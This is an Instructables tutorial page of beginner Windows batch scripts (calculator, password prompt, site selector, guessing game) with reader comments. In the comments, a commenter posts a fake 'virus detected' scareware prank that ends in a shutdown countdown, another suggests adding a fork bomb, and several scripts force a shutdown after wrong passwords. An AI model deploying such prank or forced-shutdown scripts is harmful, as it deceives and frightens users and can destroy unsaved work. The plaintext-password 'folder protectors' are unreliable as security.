Instructables

Some Cool Batch Applications

Picture of Some Cool Batch Applications
lets get busy.bmp
This is my first instructable so no complaining!
I'd like to thank neodudeman for his instructables, they helped a lot.

In this instructable i will show you some pretty nifty applications with batch commands.

If you have any problems or changes to request just send me an e-mail at jbell@live.co.za
Leave any feedback in the comment section below.
 
Remove these adsRemove these ads by Signing Up

Step 1: Batch Calculator

Picture of Batch Calculator
This is...well... a calculator.
just copy and paste into NOTEPAD and save as calculator.bat
the filename is not important but the extension MUST be saved as " .bat "

@echo off
title Batch Calculator by seJma
color 1f
:top
echo --------------------------------------------------------------
echo Welcome to Batch Calculator by seJma
echo --------------------------------------------------------------
echo.
set /p sum=
set /a ans=%sum%
echo.
echo = %ans%
echo --------------------------------------------------------------
pause
cls
echo Previous Answer: %ans%
goto top
pause
exit

Step 2: Folder Protector

Picture of Folder Protector
This is pretty cool as it requests a password for a folder.
Once you copy it into notepad you must insert your own password and designated folder directory into the designated areas!
NB: THERE ARE TWO PLACES IN WHICH YOU MUST ENTER INFO!!!

@echo off
title Folder Password v1.5
color 0a
set /a tries=3
set password=***ENTER YOUR PASSWORD HERE***
:top
echo.
echo ----------------------------------------------
echo.
echo Folder Password
echo.
echo ----------------------------------------------
echo You have %tries% attempts left.
echo Enter password
echo ----------------------------------------------
set /p pass=
if %pass%==%password% (
goto correct
)
set /a tries=%tries -1
if %tries%==0 (
goto penalty
)
cls
goto top
:penalty
echo Sorry, too many incorrect passwords, initiating shutdown.
start shutdown -s -f -t 35 -c "SHUTDOWN INITIATED"
pause
exit
:correct
cls
echo ----------------------------------------------
echo Password Accepted!
echo.
echo Opening Folder...
echo ----------------------------------------------
explorer ***ENTER FOLDER PATH HERE***
pause

*NOTE: This is not an advanced piece of software, it does not hide or block the destination folder or anything like that so don't get your hopes up.
**Yes, it can now open files with spaces, just use a backslash (\) when typing your filepath.
ashuchok3 months ago
Would you please try this? I want to thank you... This code has created by me....
https://www.facebook.com/shuchokbd

@echo off
echo Thank You Very Much...
echo.
echo Please, Press Enter Rapidly!!!
pause>null
echo.
:start
color 0e
pause>null
color 0a
pause>null
color 0d
pause>null
goto start
marmig04043 months ago
I like your version but i have made my own.
anyone can check it out if they want but please give credit when sharing. Thank you!

@echo off
title Calculator
color 0a
echo Welcome to The Basic Arithmetic Calculator
echo Made By Martin Miglio
ping localhost -n 3 >nul

:LOADING
cls
echo Loading.
ping localhost -n 2 >nul
cls
echo Loading..
ping localhost -n 2 >nul
cls
echo Loading...
ping localhost -n 2 >nul
cls
echo Loading....
ping localhost -n 2 >nul
cls
echo Loading.....
ping localhost -n 2 >nul
ping localhost -n 2 >nul
color 0a

:START
cls
echo What Type of Math would you like to do?
echo Add, Subtract, Multiply, or Divide.
set /p math=
IF '%math%' == 'Add' GOTO ADD
IF '%math%' == 'add' GOTO ADD
IF '%math%' == 'Subtract' GOTO SUB
IF '%math%' == 'subtract' GOTO SUB
IF '%math%' == 'Multiply' GOTO MULTIPLY
IF '%math%' == 'multiply' GOTO MULTIPLY
IF '%math%' == 'Divide' GOTO DIVIDE
IF '%math%' == 'divide' GOTO DIVIDE
Exit

:ADD
Cls
GOTO NUMBERSADD
pause
exit

:SUB
Cls
GOTO NUMBERSSUB
pause
exit

:MULTIPLY
Cls
GOTO NUMBERSMULTIPLY
pause
exit

:DIVIDE
Cls
GOTO NUMBERSDIVIDE
pause
exit

:NUMBERSADD
echo What is the First Number you would like to Add?
set /p number1=
cls
echo What is the Second Number you would like to Add?
set /p number2=
cls

GOTO ADD2
exit

:NUMBERSSUB
echo What is the First Number you would like to Subtract?
set /p number1=
cls
echo What is the Second Number you would like to Subtract?
set /p number2=
cls
GOTO SUB2
exit

:NUMBERSMULTIPLY
echo What is the First Number you would like to Multiply?
set /p number1=
cls
echo What is the Second Number you would like to Multiply?
set /p number2=
cls
GOTO MULTIPLY2
exit

:NUMBERSDIVIDE
echo What is the First Number you would like to Divide?
set /p number1=
cls
echo What is the Second Number you would like to Divide?
set /p number2=
cls
GOTO DIVIDE2
exit

:ADD2
Set /A result = %number1% + %number2%
echo The answer is %result%.
Pause
GOTO START
exit

:SUB2
Set /A result = %number1% - %number2%
echo The answer is %result%.
pause
GOTO START
exit

:MULTIPLY2
Set /A result = %number1% * %number2%
echo The answer is %result%.
pause
GOTO START
exit

:DIVIDE2
Set /A result = %number1% / %number2%
echo The answer is %result%.
pause
GOTO START
exit




fin
X_STOP_X1 year ago
this is a folder lock that does hide the folder
cls
@ECHO OFF
title Folder Confidential
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Confidential goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Confidential "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter the Password to unlock folder
set/p "pass=>"
if NOT %pass%== Passwords are hard to crack goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Confidential
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md confidential
echo Confidential created successfully
goto End
:End
@ECHO OFF
title Folder Confidential

if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Confidential goto MDLOCKER


:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Confidential "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter the Password to unlock folder
set/p "pass=>"
If %pass%==Password GOTO test
if NOT %pass%==Password goto FAIL
:test
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Confidential
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md confidential
echo Confidential created successfully
goto End
:End

I correct your code
Joe Diffie7 months ago
That's pretty cool stuff!
I'm working on a forum where I need to do just 2 simple math problems.

Var/.4 =x and var/.6=x

I don't know what the rise in the number by .4 and .6 actually really does for the company but that's the way they want it.

does anyone know how to build an easy app for that.
just 3 text boxes. one for entering an amount and an enter button that does the math and enters that data in the .4 and .6 math answers text boxes simultaneously.
They don't even need to be labeled.
KoreusZ9 months ago
How about cluttering the screen with visual basic scripts, that'd look more realistic.
Wookie1231 year ago
Free maintenance batch for Windows, just uses utilities built into windows 7 and 8, with 1-click action. Has an installer though. Cleans, defrags, disk checks, updates, checks for malware...etc. User is free to edit it for personal use, make it better...etc :)

OnceOver Maintenance Batch
www.freeOMB.com
g3lrod1 year ago
Put this in for a nice little password protect:

Set /a try=0

:begin
set /a try=%try%+1
If %try%==4 GOTO die
Echo Enter your password:
Echo.
Set /p pass="-->"

If %pass%==**PASSWORD** GOTO correct
GOTO begin

:die
Echo Too many incorrect tries
rem (Put some form of punishment here)

:correct

rem Your main code
STEDZ1 year ago
@Win7Maniacwhat do you mean by "this sets off the internal alarm in XP and maybe Vista" and what's an"internal alarm"?
g3lrod STEDZ1 year ago
I believe that is the motherboard beeper.
emuman4evr5 years ago
Anyone know the command that saves a list of all the files on a hard drive? I want it to basically save the hdd's file tree as a .txt document with the name of the computer and the date in the filename.
This should work:

TREE C:\ > "Tree.txt"

Then you can either find the file and open it or type in:

START Tree.txt

And then you can either find the file and copy it's contents and then delete it manually OR:

DEL Tree.txt

All of that should work
samkai3 years ago
how do you times, plus, and all that?
The operators in batch scripts are the following:

+ Addition
- Subtration
* Multiplication
/ Division
% Modulus (use %% in batch scripts)
>> and & Bitwise operators
() Grouping
! ~ Unary operators
= *= /= %= += -= &= ^= |= <<= >>= assignment

For more information type "SET /?" in your command prompt.
@Sejma if you want to carry a message through you must first put echo before it or else cmd will recognize it as an automated command input and you will get a crapload of errors. it will say:

"put message here" is not recognized as an internal or external command or a batch file.

just a little warning for the future
Really? Come on? Did you even look at the code?
rockin44591 year ago
I found this nifty batch file that when initially run will create a folder called locker in the same directory as the batch file. put files you want to hide in it and then run the batch file again and it will change it to a control panel shortcut that normally will not be seen unless you have your hidden files unhidden. even then to click it would take you to the control panel. It used to be named Locker.bat, but i renamed it to Systems to deter people from running it. Once you have changed yourpasswordhere to the password you want go get Bat_To_Exe from http://www.f2ko.de/programs.php?lang=en&pid=b2e so that your password can't be discovered. Enjoy

cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto
UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the system (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo system locked
goto End
:UNLOCK
echo Enter password
set/p "pass=>"
if NOT %pass%==yourpasswordhere goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo system Unlocked successfully
goto End
:FAIL
echo Invalid password
goto UNLOCK
:MDLOCKER
md Locker
echo system created successfully
goto End
:End
The .bat to .exe converter on http://www.f2ko.de/programs.php?lang=en&pid=b2e hides trojans in the .exe that it makes!!!

DO NOT USE IT!!
I hear you saying that a lot, what is your proof?
el-xavi261 year ago
Hey I have seen you have a lot of knowledge in batching. Can you please explain how to add points(numbers) to a amount of points
What do you mean by this? Are you asking how to add to a pre-existing variable?
Because you used the term "points" I think you are talking about a game.
That would mean that you must add to a variable if (big hint) a certain condition is met.

So:
IF %win% equ 1 set points=%points%+1


That will make the variable "points" go up by one if the variable win is set to one.

Obviously, I didn't have much to go on, but you can use that as a template if you want.
el-xavi261 year ago
can somebody explain me how to use the set command im really confused
PLEASE ANSWER!!!
The SET command is one of the most complex commands in batch scripting (other than FOR). Basically, there are three main "versions" of it.

Version one: Just the normal "SET" command, by itself.
When the SET command is by itself, it creates a variable with the value of what you set it as originally. 
Example: SET Variable=Value
To call an all ready call an all ready defined variable, enclose it in percent signs.
Example: ECHO %Variable%
This code would return "Value" onto the screen.

 Version two:The A switch.
The A parameter in the SET command stands for "Algorithm". When it is added, you can use math in a variable.
Example: SET /A Addition=1+1
This would set "Addition" to the value of 2, rather than "1+1" if the A switch was left out.
You can also use this with variables.
Example:
SET Number1=5
SET Number2=15
SET /A Number3=%Number2% / %Number3%

This code will set Number3 as 3, because 15 divided by 5 is 3.

Version three:The P switch.
When the P switch is added to the SET command, it allows a variable to be user-defined.
Example: SET /P User_Defined_Variable=Prompt String: 
This would display "Prompt String", and wait until you enter a value.

There are many other ways to use the SET command, but these are just a few.

Enter the code: "SET /?" in your command prompt for more detailed answers.
sda coba1 year ago
This batch should hide the folder and put a password to it. But it doesn't function very well, the folder does hide, but you can put any password and the folder will appear anyway.
What i want to do is to combine the Folder Protector code with the one that hides the folder.. Could someone help me?
I need it so i can hide my games at work haha
Im from Buenos Aires, Argentina

Thanks


Code:

if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-0800 2B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-0800 2B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-0800 2B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-0800 2B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-0800 2B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End


yohi98894 years ago
Hey, here's my edit to the script it changes the number everytime

:R
@echo off
color 0e
title Guessing Game by seJma
set /a guessnum=0
set /a answer=%RANDOM%
set variable1=surf33
echo -------------------------------------------------
echo Welcome to the Guessing Game!
echo.
echo Try and Guess my Number!
echo -------------------------------------------------
echo.
:bottom
echo.
set /a guessnum=0
set /a answer=%RANDOM%
set variable1=surf33
set /p guess=
echo.
if %guess% GTR %answer% ECHO Lower!
if %guess% LSS %answer% ECHO Higher!
if %guess%==%answer% GOTO EQUAL
set /a guessnum=%guessnum% +1
if %guess%==%variable1% ECHO Found the backdoor hey?, the answer is: %answer%
goto bottom
:equal
echo Congratulations, You guessed right!!!
echo.
echo It took you %guessnum% guesses.
echo.
goto R
I have a way better version!
Send it to me in Private Message. I got some pretty good batches as well
yohi9889 Your batch file looks good but every time I guess a number it changes.
I typed 9999 and it said lower I typed 9999 again but then it said higher. Is there a way to make it that the numbers don't change until I get it? Can you please email me at jfingerer@ymail.com
angusPROD1 year ago
its a secure password system that you enter digit by digit
The abort code and password is 1335
Abort code is typed all in one go

***************************
@echo off
title Secure Password
:passeword
Echo password required
set /p CH=
if "%CH%"=="1" goto 1perfect
if not "%CH%"=="1" goto wrong1
:wrong1
Echo wrong
ECho 2 attempts remaining
pause
goto passeword1
:1perfect
Echo Next
set /p QP=
if "%QP%"=="3" goto 3perfect
if not "%QP%"=="3" goto wrong1
:3perfect
Echo next
set /p AD=
If "%AD%"=="3" goto 5perfect
if not "%AD%"=="3" goto wrong1
:5perfect
Echo final one
set /p DM=
if "%DM%"=="5" goto complete
if not "%DM%"=="5" goto wrong1
:passeword1
Echo 2 Attempts remaining
Echo password required
set /p CH=
if "%CH%"=="1" goto 1
if not "%CH%"=="1" goto wrong2
:wrong2
Echo wrong
ECho 1 attempt remaining
Echo Failure to get password
Echo will result in a shutdown
pause
goto passeword2
:1
Echo Next
set /p QP=
if "%QP%"=="3" goto 3
if not "%QP%"=="3" goto wrong2
:3
Echo next
set /p AD=
If "%AD%"=="3" goto 5
if not "%AD%"=="3" goto wrong2
:5
Echo final one
set /p DM=
if "%DM%"=="5" goto complete
if not "%DM%"=="5" goto wrong2
:passeword2
Echo password required
set /p CH=
if "%CH%"=="1" goto 1final
if not "%CH%"=="1" goto wrong3
:wrong3
Echo You have failed to guess the password
ECho You now have 30 seconds to enter the abort code
Echo It is the same as the password
shutdown /s /t 30
Echo **********
set /p SD=
if "%SD%"=="1335" goto abort
if not "%SD%"=="1335" goto end
pause
goto passeword2
:1final
Echo Next
set /p QP=
if "%QP%"=="3" goto 3final
if not "%QP%"=="3" goto wrong3
:3final
Echo next
set /p AD=
If "%AD%"=="3" goto 5final
if not "%AD%"=="3" goto wrong3
:5final
Echo final one
set /p DM=
if "%DM%"=="5" goto complete
if not "%DM%"=="5" goto wrong3
:complete
Echo You made it this far
Echo 1335
Echo Now enter a directory and its ready
Echo made by angusPROD
pause
exit
:abort
shutdown /a
Echo Shutdown aborted
goto passeword2
:end
Echo Goodbye
pause
Exit
Check out my modified Site Selector. It is a txt file and will have to be saved again as a .bat file.
basic but nice work!
Thanks
markrosher1 year ago
@echo off
cls
:Password
Set Password=
set /p Password= Password:
if %Password%==123 goto YES
if not %Password%==123 goto NO

:YES

Start C:\
Exit

:NO

echo INCORRECT PASSWORD
Set Password=
set /p Password= Password:
if %Password%==123 goto YES
if not %Password%==123 goto NO1

:NO1

Echo INCORRECT PASSWORD
Set Password=
set /p Password= Password:
if %Password%==123 goto YES
if not %Password%==23 goto NO2

:NO2

Echo INCORRECT PASSWORD
Pause
Echo Acces danied
Pause
Exit
GillesM954 years ago
What does cls stand for ?
Sejma (author)  GillesM954 years ago
Clear Screen, if I'm correct.
yes, it clears it so that just the C:\users\[YOUR NAME HERE]
\in batch files, it wipes the screen completely clean
Unless you have @echo off which removes the C:\Users\[YOUR NAME HERE]\
Loganeg4 years ago
I'm new to batches, and i could spend a lot of time screwing around with it, but is there any way to mix the "Folder Protector" and this "Site Selector" so that you have to enter your password to get into the site selector?

And of course it popped into to my mind (Half way through the first para.) that i can set the ***ENTER FOLDER PATH HERE*** in the file protector to my site selector batch. posting this anyway.

And I hate attracting attention to myself by writing abnormally long comments but kudos to your first (i think) Instructable! good job.
That is pretty basic but have fun and if you figured it out yourself before me, at least i tried. I can do way better stuff.
@echo off
title Password v1.5
color 0a
set /a tries=3
set password=***ENTER YOUR PASSWORD HERE***
:top
echo.
echo ----------------------------------------------
echo.
echo Password
echo.
echo ----------------------------------------------
echo You have %tries% attempts left.
echo Enter password
echo ----------------------------------------------
set /p pass=
if %pass%==%password% (
goto correct
)
set /a tries=%tries -1
if %tries%==0 (
goto penalty
)
cls
goto top
:penalty
echo Sorry, too many incorrect passwords, initiating shutdown.
start shutdown -s -f -t 35 -c "SHUTDOWN INITIATED"
pause
exit
:correct
cls
echo ----------------------------------------------
echo Password Accepted!
echo.
echo Opening Program...
echo ----------------------------------------------
pause
cls
title Site Selector by seJma
:top
echo ***************************************************************
echo.
echo Site Selector
echo.
echo ***************************************************************
echo.
echo Key: [1] Google - Search Engine
echo [2] Hotmail - Mail Server
echo [3] Yahoo - Search Engine/Mail Server
echo [4] Facebook - Social Networking
echo [5] Myspace - Social Networking
echo [6] CNN - News
echo [7] Weather - Weather
echo [8] WikiHow - A How-To Website
echo [9] Instructables - A How-To Website
echo [10] YouTube - Online Videos
echo [11] Answers - Online Encyclopedia
echo [12] Wikipedia - Online Encyclopedia
echo.
echo [e] Exit
echo.
echo ***************************************************************
echo Enter the number of the website which you would like to go to:
echo.
set /p udefine=
echo.
echo ***************************************************************
if %udefine%==1 start www.google.com
if %udefine%==2 start www.hotmail.com
if %udefine%==3 start www.yahoo.com
if %udefine%==4 start www.facebook.com
if %udefine%==5 start www.myspace.com
if %udefine%==6 start www.cnn.com
if %udefine%==7 start www.weather.com
if %udefine%==7 start www.wikihow.com
if %udefine%==9 start www.instructables.com
if %udefine%==10 start www.youtube.com
if %udefine%==11 start www.answers.com
if %udefine%==12 start www.wikipedia.com
if %udefine%==e goto exit

cls
echo ***************************************************************
echo.
echo Thank You for using Site Selector by seJma
echo.
echo ***************************************************************
echo Type [e] to exit or [b] to go back and select another site.
echo.
set /p udefine=
echo.
echo ***************************************************************
if %udefine%==b goto top
if %udefine%==e goto exit
:exit
cls
echo ***************************************************************
echo.
echo Thank You for using Site Selector by SEjMA
echo.
echo ***************************************************************
pause
exit
(removed by author or community request)
Never mind the previous statement. Put a :selector address in your code, put the selector in there and have everything related to it redirect to :selector, then just make a goto command in the action sequence of the password protector.
Sejma (author)  Loganeg4 years ago
ah yes very good! but if you dont want 2 separate files, what you could also do is insert this code snippet, just under the title, and above :top
***********************************
set /p pass=
if %pass%==YOUR_PASS_HERE (
goto top
) else (
exit
)

***********************************
hope this helps!
kibbleninja2 years ago
I turned this into a file selector thanks for these tuts
Win7Maniac3 years ago
Wasn't this taken from TAT?
Sejma (author)  Win7Maniac3 years ago
um...go away rude person
do some homework, this is my program, I collaborated with TAT.
Sorry, I really like the program, I made some modifications and its awesome!  I am in the process of trying to find the best one of adding itself to startup and deleting the processed lines (so if they restart it will start where it left off).  If you want my code, i have it below: (without the code deletion)

-------------------------------------------------------------------------

@echo off
SetLocal EnableDelayedExpansion
color 0C
title VIRUS DETECTED!!

if "%1" == "xxx" (goto :shutdownstart) else (echo.)

:: Below is 3 symbols for the internal alarm.  If you don't see them, go to command prompt and type:
:: cd %homepath%\Desktop
:: echo CTRL+G (key combo)>>alarmcharacter.bat
:: Edit that batch file, it will have the character.

cls
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo ERROR!!!
echo -
echo virus - TROJAN_DEMOLISHER code #45643676
echo -
ping 1.0.0.0 -n 1 -w 2000 >NUL
echo FIREWALL -
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo ERROR!!!
echo -
echo virus - TROJAN_DEMOLISHER code #45643676
echo -
echo FIREWALL - FAILED
echo -
ping 1.0.0.0 -n 1 -w 300 >NUL
echo ANTI-VIRUS -
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo ERROR!!!
echo -
echo virus - TROJAN_DEMOLISHER code #45643676
echo -
echo FIREWALL - FAILED
echo -
echo ANTI-VIRUS - FAILED
echo -
ping 1.0.0.0 -n 1 -w 1000 >NUL
echo IP ADDRESS BREACHED!
echo -
ping 1.0.0.0 -n 1 -w 1000 >NUL
echo VIRUS ATTAINING:
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo VIRAL INFECTION!!!
echo ERROR!!!
echo -
echo virus - TROJAN_DEMOLISHER code #45643676
echo -
echo FIREWALL - FAILED
echo -
echo ANTI-VIRUS - FAILED
echo -
echo IP ADDRESS BREACHED!
echo -
echo VIRUS ATTAINING: ****-****-****-8894
echo -
ping 1.0.0.0 -n 1 -w 2500 >NUL



cls
echo -
echo SCANNING INFECTED AREAS...
echo -
ping 1.0.0.0 -n 1 -w 800 >NUL
set /a num=0
:repeat1
set /a num=%num% +1
echo %num%
if %num%==87 goto end
goto repeat1
:end


cls
echo -
echo 86.5 PERCENT OF MEMORY INFECTED
echo -
ping 1.0.0.0 -n 1 -w 1000 >NUL
echo INFECTION PROGRESSING. . .
ping 1.0.0.0 -n 1 -w 2000 >NUL
echo -
echo DELETION OF ENTIRE CONTENTS OF LOCAL DISK C: PART OF MAIN ROUTINE
echo -

ping 1.0.0.0 -n 1 -w 1800 >NUL

echo %cd%>currentdir
Set n=
Set _InputFile=currentdir
For /F "tokens=*" %%I In (%_InputFile%) Do (
Set /a n+=1
Set _var!n!=%%I
)
del currentdir

cls
echo -
echo DELETING HARD-DRIVE C:
echo -
ping 1.0.0.0 -n 1 -w 700 >NUL
cd %homepath%
cd Desktop
dir /b /s
cd %_var1%

ping 1.0.0.0 -n 1 -w 1500 >NUL
cls
echo -
echo CONTENTS OF HARD-DRIVE C: ERASED
echo -

ping 1.0.0.0 -n 1 -w 1500 >NUL
cls
echo -
echo SCANNING...
echo -

set /a num1=0
:repeat2
set /a num1=%num1% +1
echo %num1%
if %num1%==100 goto end1
goto repeat2
:end1
cls
echo -
echo 0.00 PERCENT OF HARD-DRIVE INFECTED
echo -
ping 1.0.0.0 -n 1 -w 1200 >NUL
echo EXITING VIRUS REMOVAL. . .
ping 1.0.0.0 -n 1 -w 2000 >NUL
echo -

set /A errorrepeat=0
:errorrepeat
set /A errorrepeat=%errorrepeat%+1
echo ERROR ERROR ERROR ERROR ERROR ERROR ERROR ERROR ERROR ERROR ERROR ERROR ERROR
if "%errorrepeat%" == "400" (goto :errorrepeatend) else (goto :errorrepeat)
:errorrepeatend


cls
title FATIL AIR!!
echo ERROR!
ping 1.0.0.0 -n 1 -w 500 >NUL
echo -
echo VISUAL MEMORY LOST!
ping 1.0.0.0 -n 1 -w 1200 >NUL
echo -
echo RAM SEGMENT OVERFLOW ERROR!
ping 1.0.0.0 -n 1 -w 2000 >NUL
echo -
echo PROCESSOR FAILING...
echo -
ping 1.0.0.0 -n 1 -w 3500 >NUL

:shutdownstart

echo MsgBox "You have 25 seconds to save any work you have open!!!  Hurry, your computer is shutting down promptly!!!">usermessage1.vbs
echo MsgBox "Hurry, your computer is shutting down promptly!!!">usermessage2.vbs

cls

echo YOU HAVE 25 SECONDS TO SAVE ANY WORK YOU HAVE OPEN!!!
echo HURRY AND SAVE, YOUR COMPUTER IS SHUTTING DOWN PROMPTLY!!!


start usermessage1.vbs
ping 1.0.0.0 -n 1 -w 3500 >NUL
start usermessage2.vbs


ping 1.0.0.0 -n 1 -w 3500 >NUL
del usermessage1.vbs
del usermessage2.vbs
cls
echo 18 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 17 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 16 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 15 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 14 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 13 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 12 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 11 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 10 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 9 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 8 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 7 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 6 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 5 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 4 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 3 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 2 SECONDS REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo 1 SECOND REMAINING. . .
ping 1.0.0.0 -n 1 -w 1000 >NUL
cls
echo SHUTTING DOWN. . .




EndLocal
pause

--------------------------------------------------------------------------

You might want to make sure no one else is around, this sets off the internal alarm in XP and maybe Vista, sets off speaker alarm in Windows 7.  If you dont see the alarm characters (before the 3 Viral Infections!!! and elsewhere) follow the instructions I gave, it should look like:
C:\Users\[USERNAME]\Music>cd %homepath%\Desktop
C:\Users\[USERNAME]\Desktop>echo ^G>>alarmcharacter.bat
in command prompt in Vista and 7 and C:\Documents and Settings\... in XP.
I was debugging, if you start this from command prompt with the parameter xxx, it will go to the shutdown routine.  I did not actually include code to shut it down yet.  Als, the dir command is set to list the desktop, because if you're like me that will take long enough.  Otherwise the user will be tempted to just close it.
Hope you like it,
Ryan
Put a fork bomb in somewhere, too. Otherwise, awesome.
i like ur batch file that u had created if u have surprizing batch files then plz send me
Wait,how do you attach the password protector to a file?
vleikvangen2 years ago
the look of the menu, its much cooler in the cmd, on this u cant see how it looks kinda cuz of the sice differences, but try this out, copy and paste, but the menu wont work for u guys, (all you can do is doing the password and u can see the menu and shutdown, you cant use the menu cuz then u need alot of other batch files, with the right names as my has, and stuff. so :) but kinda cool yea
vleikvangen2 years ago
hehe, i maked my own menu by doing this., and u can make videos like if u have a video in parts, or something like that, and i got alot of stuff. osv.....

@echo off
:Passord
cls
color 01
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
echo \\\ what y wanna do?. \\\
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
ping localhost -n 2 >nul
cls
color 02
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
echo \\\ what y wanna do?.. \\\
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
ping localhost -n 2 >nul
cls
color 03
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
echo \\\ what y wanna do?...\\\
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
ping localhost -n 2 >nul
cls
color 04
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
echo \\\ what y wanna do?. \\\
echo \\\\\\\\\\\\\\\\\\\\\\\\\\
ping localhost -n 2 >nul
cls

echo ====================
echo Password
echo ====================
echo Password
echo ====================
echo Password
echo ====================
echo 3 forsøk
pause >nul

set /p hey=
if %hey% == Pikkolo98 goto :Riktig
if not %hey% == Pikkolo98 goto :Feil
:Feil
cls
echo Incorrect Password!
ping localhost -n 2 >nul
cls
echo ====================
echo Password
echo ====================
echo Password
echo ====================
echo Password
echo ====================
echo 2 forsøk
pause >nul
set /p hey=
if %hey% == Pikkolo98 goto :Riktig
if not %hey% == Pikkolo98 goto :Fail

:Fail
echo Incorrect Password!
ping localhost -n 2 >nul
cls
echo ====================
echo Password
echo ====================
echo Password
echo ====================
echo Password
echo ====================
echo Last Try
pause >nul
set /p hey=
if %hey% == Pikkolo98 goto :Riktig
if not %hey% == Pikkolo98 goto :Fuil
:Fuil
goto :Shutdown

:Riktig
cls
echo Correct Password!
ping localhost -n 2 >nul
goto :Start


:Start
cls
color 7
echo ________ _________
echo "| \====================================\ |"
echo "| Main / VL's Menu / Main |"
echo "| Menu \ _________________________ \ Menu |"
echo "| / by Vegard /Pwned menu / |"
echo "|========\====================================\========|"
echo "| VL. / Menu|> Video <|Menu / .VL |"
echo "| VL. \ Menu|> Games <|Menu \ .VL |"
